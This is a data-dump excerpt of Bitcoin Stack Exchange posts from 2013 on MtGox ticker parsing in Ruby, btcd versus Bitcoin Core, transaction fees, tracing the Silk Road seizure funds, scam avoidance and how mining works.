CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13619" PostTypeId="2" ParentId="13618" CreationDate="2013-10-06T15:07:06.593" Score="0" Body="&lt;p&gt;It's probably hashed. Any URL is valid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://uno-wallet.com/wallet/0&quot; rel=&quot;nofollow&quot;&gt;https://uno-wallet.com/wallet/0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2013-10-06T15:07:06.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13620" PostTypeId="2" ParentId="10594" CreationDate="2013-10-06T18:52:16.487" Score="2" Body="&lt;p&gt;JSON can be a little hard to read because it's generally meant to be served without characters such as spaces and newlines that would make it human-readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's output from the fast ticker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;result&quot;:&quot;success&quot;,&#xA;  &quot;data&quot;:{&#xA;    &quot;last_local&quot;:{&#xA;      &quot;value&quot;:&quot;136.87303&quot;,&#xA;      &quot;value_int&quot;:&quot;13687303&quot;,&#xA;      &quot;display&quot;:&quot;$136.87&quot;,&#xA;      &quot;display_short&quot;:&quot;$136.87&quot;,&#xA;      &quot;currency&quot;:&quot;USD&quot;&#xA;    },&#xA;    &quot;last&quot;:{&#xA;      &quot;value&quot;:&quot;136.87303&quot;,&#xA;      &quot;value_int&quot;:&quot;13687303&quot;,&#xA;      &quot;display&quot;:&quot;$136.87&quot;,&#xA;      &quot;display_short&quot;:&quot;$136.87&quot;,&#xA;      &quot;currency&quot;:&quot;USD&quot;&#xA;    },&#xA;    &quot;last_orig&quot;:{&#xA;      &quot;value&quot;:&quot;136.87303&quot;,&#xA;      &quot;value_int&quot;:&quot;13687303&quot;,&#xA;      &quot;display&quot;:&quot;$136.87&quot;,&#xA;      &quot;display_short&quot;:&quot;$136.87&quot;,&#xA;      &quot;currency&quot;:&quot;USD&quot;&#xA;    },&#xA;    &quot;last_all&quot;:{&#xA;      &quot;value&quot;:&quot;136.87303&quot;,&#xA;      &quot;value_int&quot;:&quot;13687303&quot;,&#xA;      &quot;display&quot;:&quot;$136.87&quot;,&#xA;      &quot;display_short&quot;:&quot;$136.87&quot;,&#xA;      &quot;currency&quot;:&quot;USD&quot;&#xA;    },&#xA;    &quot;buy&quot;:{&#xA;      &quot;value&quot;:&quot;136.10500&quot;,&#xA;      &quot;value_int&quot;:&quot;13610500&quot;,&#xA;      &quot;display&quot;:&quot;$136.11&quot;,&#xA;      &quot;display_short&quot;:&quot;$136.11&quot;,&#xA;      &quot;currency&quot;:&quot;USD&quot;&#xA;    },&#xA;    &quot;sell&quot;:{&#xA;      &quot;value&quot;:&quot;136.87250&quot;,&#xA;      &quot;value_int&quot;:&quot;13687250&quot;,&#xA;      &quot;display&quot;:&quot;$136.87&quot;,&#xA;      &quot;display_short&quot;:&quot;$136.87&quot;,&#xA;      &quot;currency&quot;:&quot;USD&quot;&#xA;    },&#xA;    &quot;now&quot;:&quot;1381085718504609&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;result&quot; item is always guaranteed to be there, but has of course varying content based on whether or not the call was successful. The &quot;data&quot; element contains a series of prices, with each name indicating its price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most JSON parsers in interpreted languages such as Ruby, PHP, and Python parse JSON into a hash or dictionary. You'd want the value of the &quot;value&quot; key of the &quot;last&quot; key of the &quot;data&quot; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a one-liner version in Ruby for the v2 ticker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ruby -e '%w(open-uri json).each{|b| require b}; open(&quot;http://data.mtgox.com/api/2/BTCUSD/money/ticker_fast&quot;) {|d| puts JSON.parse(d.read)[&quot;data&quot;][&quot;last&quot;][&quot;value&quot;]}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or something a little more readable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require &quot;open-uri&quot; &#xA;require &quot;json&quot;&#xA;&#xA;open(&quot;http://data.mtgox.com/api/2/BTCUSD/money/ticker_fast&quot;) do |d| &#xA;  json = JSON.parse(d.read)&#xA;  puts json[&quot;data&quot;][&quot;last&quot;][&quot;value&quot;]&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a one-liner version in Ruby for the old ticker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ruby -e '%w(open-uri json).each{|b| require b}; open(&quot;https://mtgox.com/api/1/BTCUSD/ticker&quot;) {|d| puts JSON.parse(d.read)[&quot;return&quot;][&quot;last&quot;][&quot;value&quot;]}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or something a little more readable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require &quot;open-uri&quot; &#xA;require &quot;json&quot;&#xA;&#xA;open(&quot;https://mtgox.com/api/1/BTCUSD/ticker&quot;) do |d| &#xA;  json = JSON.parse(d.read)&#xA;  puts json[&quot;return&quot;][&quot;last&quot;][&quot;value&quot;]&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-10-06T19:01:34.623" LastActivityDate="2013-10-06T19:01:34.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13621" PostTypeId="2" ParentId="7369" CreationDate="2013-10-06T19:55:14.717" Score="3" Body="&lt;p&gt;Real Satoshi dice uses the &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt; library. &lt;/p&gt;&#xA;" OwnerUserId="6996" LastActivityDate="2013-10-06T19:55:14.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13622" PostTypeId="2" ParentId="13603" CreationDate="2013-10-06T20:51:43.590" Score="29" Body="&lt;p&gt;EDIT (2014-09-05): I have updated this answer to the most recent information.  The previous answer was outdated in regards to the cons.  It was accurate as of version 0.3.0-alpha, however btcd is now in beta, up to version 0.8.0-beta, and nearly all of the previous cons have since been addressed.  Also, I've updated all references to bitcoind to Bitcoin Core to reflect their name change&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to answer this as unbiased as possible, but, as a disclaimer, I am the lead developer for btcd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, a small correction.  The initial release is version 0.3.0-alpha (&lt;a href=&quot;https://github.com/conformal/btcd/releases&quot;&gt;https://github.com/conformal/btcd/releases&lt;/a&gt;).  It is not yet up to version 1.0 as we first want to get a ton of public testing from early adopters before claiming it is production ready.  We fully understand the importance of avoid block chain forks and are making herculean efforts to do everything we can to prevent that from happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll provide a list of pros and cons that I can think of for btcd relative to Bitcoin Core below, but one thing I'd like point out isn't specifically related to btcd or Bitcoin Core, but rather the Bitcoin ecosystem as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diversity is something the Bitcoin ecosystem is in dire need of.  Diverse, inter-operating implementations make the Bitcoin network more robust against several things such as denial-of-service attacks, vulnerabilities, and individual application bugs.  History has shown that for any protocol to thrive and gain wide-spread acceptance, multiple implementations on multiple devices is inevitably required.  One prolific example is TCP/IP.  TCP/IP would not be where it is today if only a single implementation existed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Pros&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;btcd offers a unique architecture in that it separates the chain services from the wallet services (see NOTES [a])&lt;/li&gt;&#xA;&lt;li&gt;btcd is written in Go which has several advantages over C++ (See NOTES [b])&lt;/li&gt;&#xA;&lt;li&gt;btcd is a clean refactor of the entire Bitcoin protocol rather than one that is monolithic&lt;/li&gt;&#xA;&lt;li&gt;the btcd codebase strives to provide easy to follow and well-commented code (Bitcoin Core is definitely improving in this area, but there is still a lot of undocumented &quot;magic&quot;)&lt;/li&gt;&#xA;&lt;li&gt;the btcd core packages provide more extensive unit test coverage to help prevent regressions (for example btcwire provides 100% test coverage)&lt;/li&gt;&#xA;&lt;li&gt;btcd incorporates a package that has been highly optimized specifically for the ECDSA curve parameters used by Bitcoin (secp256k1) making it faster than OpenSSL&lt;/li&gt;&#xA;&lt;li&gt;btcd is capable of running as a real service on Windows (see NOTES[c])&lt;/li&gt;&#xA;&lt;li&gt;btcd provides a compatible RPC interface with Bitcoin Core has which makes it relatively straight forward to use it in existing infrastructures&lt;/li&gt;&#xA;&lt;li&gt;btcd is able to sync the entire block chain from scratch in around 5 hours on an Intel i7 with an SSD&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Cons&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;btcd does not daemonize itself and instead relies on external tools such as daemonize and upstart to perform that function&lt;/li&gt;&#xA;&lt;li&gt;The uPnP functionality is currently disabled by default and does not appear work with all devices, so it might be necessary to manually open ports on your router and use the --externalip flag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Notes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;[a] A full discussion of the advantages of separating the chain and wallet services would require an entire blog post, but a few examples are that it opens a lot of opportunities for lower powered hardware, offers better multi-user support, and results in less waste in small networks which can share the chain services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[b] Some advantages we believe Go has over C++&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Integrated test infrastructure&lt;/li&gt;&#xA;&lt;li&gt;Platform independent code&lt;/li&gt;&#xA;&lt;li&gt;Simpler parallelism and excellent support for concurrency&lt;/li&gt;&#xA;&lt;li&gt;No active memory management which leads to eliminating an entire class of the most common security vulnerabilities like buffer overflows&lt;/li&gt;&#xA;&lt;li&gt;Built-in profiling and documentation facilities&lt;/li&gt;&#xA;&lt;li&gt;Significantly faster compilation times&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[c] The Windows installer does not provide the option to install or run it as a service, however btcd itself has command line options to do so.  To install it as a service: btcd.exe /s install&lt;/p&gt;&#xA;" OwnerUserId="6997" LastEditorUserId="6997" LastEditDate="2014-09-05T19:54:55.400" LastActivityDate="2014-09-05T19:54:55.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13623" PostTypeId="1" CreationDate="2013-10-07T09:02:52.120" Score="1" ViewCount="149" Body="&lt;p&gt;As reported on Tech Dirt &lt;a href=&quot;http://www.techdirt.com/articles/20131004/14424324756/doj-hasnt-actually-found-silk-road-founders-bitcoins-yet.shtml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; the address of where the bitcoins seized from SilkRoad are being stored has been identified &lt;a href=&quot;http://blockchain.info/address/1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has resulted in many people making micro payments to the wallet and attaching their own messages, I assume for the fun of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the original funds the FBI paid to their wallet still be distinguished from the total fund now in the wallet after the additional transactions from 3rd parties? I assume they kept a tally of how much they transferred in but for the purposes of evidence I imagine they would need to know the &lt;em&gt;actual&lt;/em&gt; coins and not just an amount. &lt;/p&gt;&#xA;" OwnerUserId="6088" LastActivityDate="2013-10-07T12:16:07.447" Title="How can you distinguish the source of Bitcoins?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13624" PostTypeId="1" AcceptedAnswerId="13636" CreationDate="2013-10-07T09:08:18.457" Score="3" ViewCount="838" Body="&lt;p&gt;Thinking about the potential problems with Bitcoin, I am doing a thought experiment.  Suppose that Bitcoin is successful in replacing gold.  The market cap of gold is $9.6 trillion (10^12).  At that level, each bitcoin would be worth $400,000.  In such a world, let's suppose that people were making $40 transactions to buy things.  Then the average transaction would be  0.0001 bitcoins.  Assuming a reasonable transaction fee of 1%, this would imply that transaction fees should be 1 micro bit-coin in such a world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-qt would clearly need to adapt to this.   Some miners (payment processors) could offer different terms,  and users could choose these payment processors with the &lt;code&gt;addnode&lt;/code&gt; option in bitcoind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wanted to get some feedback on how transaction fees are going to adapt to a higher marketcap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind Regards,&lt;br&gt;&#xA;  Harold Naparst&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2015-05-04T14:53:07.033" Title="Transaction fees for smaller transactions" Tags="|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13625" PostTypeId="2" ParentId="66" CreationDate="2013-10-07T09:24:49.517" Score="6" Body="&lt;p&gt;I appreciate the enthusiasm of those who have answered this question.  Everyone here clearly wants bitcoin to succeed, and so everyone is enthusiastic.  I am enthusiastic, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am afraid, however, that this enthusiasm is coloring respondents' logic.  Literally every response on this page (especially the highest ranked one) is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for a currency to be used to pay wages, and therefore widely used in general,  the prices for goods that people buy would be  fairly stable.  Otherwise, people will reject the currency. Perhaps more importantly, employers will not agree to pay workers in a currency that is appreciating in value, as this would require them to lower wages constantly, something workers will not accept. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upshot is that inflation must ideally be between 0 and 4%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for that to happen, the supply of money must grow at the same rate as the overall economy.   If the supply of money is constant, then the prices of goods will fall in a growing economy.  And the economy generally does grow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Falling prices will cause people to delay purchases, and is symptomatic of lower demand in general.  This causes a depression.  The example of computers given by many respondents is wrong.  This is a case where new, higher quality models are replacing older models at the same price-point.  It would be correct if the overall amount of money spent on computers (new and old) declined, but this is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 1930s in Europe, abandonment of the gold standard was the key that allowed the European economies to grow again.  Those who held onto the gold standard longest suffered the most greatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is just a fact that a fixed money supply in a growing economy is deflationary.  This will limit bitcoin to the same role that gold holds now.  It is a useful hedge against inflation, but not capable of replacing the more flexible fiat currency, because it cannot maintain price stability.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-10-07T09:24:49.517" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13626" PostTypeId="2" ParentId="13624" CreationDate="2013-10-07T12:09:36.297" Score="0" Body="&lt;p&gt;I guess one of the things worth remembering is that you can place any legal/unspent transaction you want on the Bitcoin network without any fees whatsoever. The issue comes down to whether the next miner would accept your transaction and put it in the next block even if there's nothing to be gained from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently recommended fees put into the major clients (bitcoin-qt or its CLI only back end) as you well know. I would imagine that the major clients would be updated to accept various fees if the economy changes that much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for different payment processors, I'm not sure I understand your plan. Surely ultimately it's down to whoever mines the next block and connecting to a specific node wouldn't really make a difference?&lt;/p&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-10-07T12:09:36.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13627" PostTypeId="2" ParentId="13623" CreationDate="2013-10-07T12:10:25.573" Score="2" Body="&lt;p&gt;Whenever a payment is sent to an address, it is received as a distinct transaction output. It should be a trivial task for the FBI to label the output or outputs accordingly to know which were created in the confiscation of Silk-Road's funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, there is no such thing as the &lt;em&gt;&quot;actual coins&quot;&lt;/em&gt;. Whenever bitcoins are transferred, the outputs that feed the transaction are destroyed and new transaction outputs are created.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-10-07T12:16:07.447" LastActivityDate="2013-10-07T12:16:07.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13631" PostTypeId="1" CreationDate="2013-10-07T19:27:53.780" Score="1" ViewCount="90" Body="&lt;p&gt;Today I've seen new service www.spend-a-bit.com.&#xA;Idea is good, however you need to send them bitcoins first and then you get your balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is: Is there any way to make online services safe to use, without worrying that you send bitcoins, but never get anything back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples, which come to my mind:&#xA;1) Some website takes responsibility as dispute system. You send them first, then receive balance, then they send it to merchant. In case of arguments they check if sides kept their promises. It always takes time to figure out, which makes it less attractive for scammers.&#xA;2) Just some public ratings for services. Where everyone can report scam&lt;/p&gt;&#xA;" OwnerUserId="7006" LastActivityDate="2013-10-07T22:22:05.087" Title="Is there a safe way to use bitcoin based online services?" Tags="|merchants|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13632" PostTypeId="2" ParentId="13631" CreationDate="2013-10-07T22:22:05.087" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Look for merchants with a good history. There will, at some point, I imagine be a listing of good and respectable merchants, ranked based on consumer reviews. Until then, just use common sense. I have yet to be scammed with Bitcoin (or USD) because I rely heavily on the reviews of other trustworthy individuals before making purchases.&lt;/li&gt;&#xA;&lt;li&gt;Don't send more than you can afford to lose. (Bitcoin is often still referred to as an &quot;experimental&quot; currency for a reason.)&lt;/li&gt;&#xA;&lt;li&gt;Even an escrow service doesn't protect you 100%. In my opinion, you're better off relying on your own intuition when placing purchases, and not buying big ticket items with Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;Use a reputable gift card service as an intermediary. I use gyft.com to buy amazon.com gift cards, which allows me to store value in Bitcoin and also get the consumer protection offered by Amazon. (This, of course, means that I trust gyft.com, which I do -- based on a history and other consumer reviews.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6193" LastActivityDate="2013-10-07T22:22:05.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13633" PostTypeId="2" ParentId="13617" CreationDate="2013-10-07T22:35:08.657" Score="0" Body="&lt;p&gt;I'm not an expert here, but it looks like you're on the right track. See:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;Bitcoin API (JSON RPC)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;API Calls List&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm guessing you can use the JSON RPC format to make the calls you need (i.e. &quot;getbalance&quot; and &quot;getaccount&quot; calls). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for reading the sender's address, perhaps &quot;listtransactions&quot; helps?&lt;/p&gt;&#xA;" OwnerUserId="6193" LastActivityDate="2013-10-07T22:35:08.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13635" PostTypeId="2" ParentId="13613" CreationDate="2013-10-07T23:13:53.773" Score="0" Body="&lt;p&gt;If the coins are in the same wallet then you should be able to send your &quot;large amount of money&quot; in one transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your coins are spread across multiple wallets in the same client then you would need to take the 15% loss. Or not pay a transaction fee and hope your coins get validated by a very friendly miner. (I would advise the former.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the event that your coins are spread across multiple wallets, you should bite the bullet and send them all to a single wallet so you don't continue losing money in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also might be a good idea to have slightly larger transactions, so you don't pay as many fees.&lt;/p&gt;&#xA;" OwnerUserId="2734" LastActivityDate="2013-10-07T23:13:53.773" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="13636" PostTypeId="2" ParentId="13624" CreationDate="2013-10-08T00:01:42.920" Score="1" Body="&lt;p&gt;The default fee is in place to decrease the chance the creation of dust outputs (miniscule amounts of bitcoin). Dust outputs cost more to spend than they are worth themselves and they still need to be stored in the disk space of anyone that stores the complete blockchain - thus are frowned upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To read a discussion on that matter with some of the Core Developers you might want to review &lt;a href=&quot;https://bitcointalk.org/index.php?topic=160306.0&quot; rel=&quot;nofollow&quot;&gt;The minimum transfer fee is not trivial anymore&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, there are some mining pools that accept transactions even without transaction fees. The default transaction fee in bitcoin-qt has been lowered before when the value of bitcoin increased sufficiently to make the recommended transaction fee too high. This happened for example in May 2013, when the default fee was reduced to 0.0001 BTC from 0.0005 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It is therefore expected that the default transaction fee will be kept at a respectively low level should the value of bitcoin increase dramatically.&lt;/strong&gt; In any case, anyone can choose to ignore it by changing the settings of their bitcoin-qt.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-04T14:53:07.033" LastActivityDate="2015-05-04T14:53:07.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13637" PostTypeId="1" CreationDate="2013-10-08T00:41:26.883" Score="6" ViewCount="277" Body="&lt;p&gt;I am currently using BlockChain.info's API to do payment verification with, but have a few questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I am using it (I think I am using it in the right way....):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am issuing a new/clean address to for each sale.&lt;/li&gt;&#xA;&lt;li&gt;I am then checking the balance of the address and the transactions (tx-&gt;out) to get the time of the transaction, the value and the block height (of which I am using to get the confirmed count from)&lt;/li&gt;&#xA;&lt;li&gt;I then add the transaction details to my database/System and display the relevant message to the user.&lt;/li&gt;&#xA;&lt;li&gt;An automated script then runs to collect/update the confirmed count (and updates this info into my database).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have been building this by making bitcoin transactions to myself, but of course all my test transactions are genuine, so I don't know how &quot;bad&quot; transactions will be represented!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am unsure on, is how will double spends (or dropped transactions/spends/fraud) be represented?&#xA;Will the transaction simply disappear? And will this then effect the balance shown against the address? Or will the block height simply change to 0/NULL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on this would be greatly welcomed!&lt;/p&gt;&#xA;" OwnerUserId="5866" LastEditorUserId="42185" LastEditDate="2017-08-01T17:11:58.063" LastActivityDate="2017-08-31T18:46:35.437" Title="How are double spends and &quot;dropped&quot; transactions represented in BlockChain.info API" Tags="|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13638" PostTypeId="2" ParentId="13167" CreationDate="2013-10-08T01:02:21.930" Score="0" Body="&lt;p&gt;bitcoin moved to autotools a little while back. Provided you have all of the dependencies installed and in their normal places, you should be able to just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./autogen.sh&#xA;./configure&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.md&quot; rel=&quot;nofollow&quot;&gt;doc/build-unix.md&lt;/a&gt; for instructions.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-10-08T01:02:21.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13639" PostTypeId="1" CreationDate="2013-10-08T02:19:32.987" Score="4" ViewCount="73567" Body="&lt;p&gt;If I understand correctly, Bitcoin mining software &quot;creates&quot; bitcoins by solving complex mathematical equations. Is there a need for these problems to be solved, is there a value to solving these equations? If not, where does the solving of the math problems fit into the whole Bitcoin scenario?&lt;/p&gt;&#xA;" OwnerUserId="7012" LastEditorUserId="5406" LastEditDate="2016-03-10T09:07:08.723" LastActivityDate="2016-03-10T09:07:08.723" Title="How does solving math problems create bitcoins?" Tags="|mining-reward|mining-theory|" AnswerCount="4" CommentCount="0" ClosedDate="2013-10-11T19:10:26.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="13641" PostTypeId="2" ParentId="13639" CreationDate="2013-10-08T07:12:24.963" Score="3" Body="&lt;p&gt;No, no-one is paying for the solutions to the math problems. In fact, they are only math problems in the same sense that watching a Youtube video is doing a computation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners are checking transactions of other users. The Bitcoin protocol is built in such a way that this process sometimes creates new bitcoins. The creation of new bitcoins is also regulated by the protocol - only 21 million can be created, and the last Bitcoin will be created around 2140. The &lt;em&gt;creation&lt;/em&gt; of coins is distinct from the &lt;em&gt;value&lt;/em&gt; of the coins, which come from their usefulness, supply and demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another cryptocurrency, Primecoin (XPM), which uses calculation of prime numbers in the &quot;proof of work&quot; process of the currency. These prime numbers do have potential scientific value, but the value of Primecoin is not linked to the value of the prime numbers. The prime numbers are publicly available, and value again comes from supply, demand and usefulness. The goal is that the computation involved in &quot;proof of work&quot;, which must be done anyway, should have a side-benefit.&lt;/p&gt;&#xA;" OwnerUserId="6694" LastEditorUserId="6694" LastEditDate="2013-10-09T07:53:35.857" LastActivityDate="2013-10-09T07:53:35.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13642" PostTypeId="1" CreationDate="2013-10-08T07:28:02.273" Score="1" ViewCount="4135" Body="&lt;p&gt;I have a cluster of 10 computers running linux connected to each other via LAN and one of them has internet connection. Is it possible to set up mining in which the computer with internet acts as the master computer and gets work done from 9 slave computers and mine bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="7015" LastActivityDate="2013-10-08T10:31:34.150" Title="Mining bitcoin using LAN and one computer with internet access" Tags="|mining-pools|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13643" PostTypeId="2" ParentId="13642" CreationDate="2013-10-08T10:31:34.150" Score="1" Body="&lt;p&gt;It certainly is, you could for example install the &lt;a href=&quot;http://mining.bitcoin.cz/mining-proxy-howto&quot; rel=&quot;nofollow&quot;&gt;stratum mining proxy&lt;/a&gt; (assuming that the pool you are mining for supports stratum). You would install the mining proxy on the computer with network access and then configure the miners to use the proxy instead of directly going to the pool itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this is just one of many options. Other options include creating a reverse HTTP proxy on the computer with internet access, as the &lt;code&gt;getwork&lt;/code&gt; protocol uses HTTP underneath. Also possible would be to tunnel a given port directly to the pool using SSH for example. But I think the mining proxy is the easiest option, and allows for legacy mining software to use the more efficient stratum protocol as an added bonus.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-10-08T10:31:34.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13644" PostTypeId="2" ParentId="13639" CreationDate="2013-10-08T10:42:06.503" Score="2" Body="&lt;p&gt;Mining essentially tries to brute force decrypt an encryption. This is not so much a complex mathematical problem as rather systematically trying a multitude of potential solutions until one fits the current prerequisites (context and difficulty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of mining is to validate the transactions of the network. The more computational effort is applied to mining, the more resilient is the network against attacks. Therefore the Bitcoin protocol has been designed to dispense rewards among the miners to incentivize behavior that is beneficial to the network – whoever finds the winning solution is allowed to transmit a number of newly created coins to an address of his choice.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-08T10:42:06.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13645" PostTypeId="2" ParentId="13639" CreationDate="2013-10-08T10:50:58.527" Score="6" Body="&lt;p&gt;The problem that mining solves is the problem of providing secure transactions without a central authority. There is value to solving these problems because otherwise, there would be no way to securely exchange Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses proof of work as its means of solving the double spend problem without a central authority. If I try to send the same Bitcoin to two different accounts, the miners choose one transaction or the other and use it as the basis of the computations they do. Because nobody else can outcompute all the Bitcoin miners, this makes it possible for others to determine which transaction &quot;wins&quot;. Without this mechanism, there would be no way to resolve conflicting transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this proof of work costs money to do, it's not likely that it could be accomplished without some incentive. Mining rewards provide this incentive.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-08T10:50:58.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
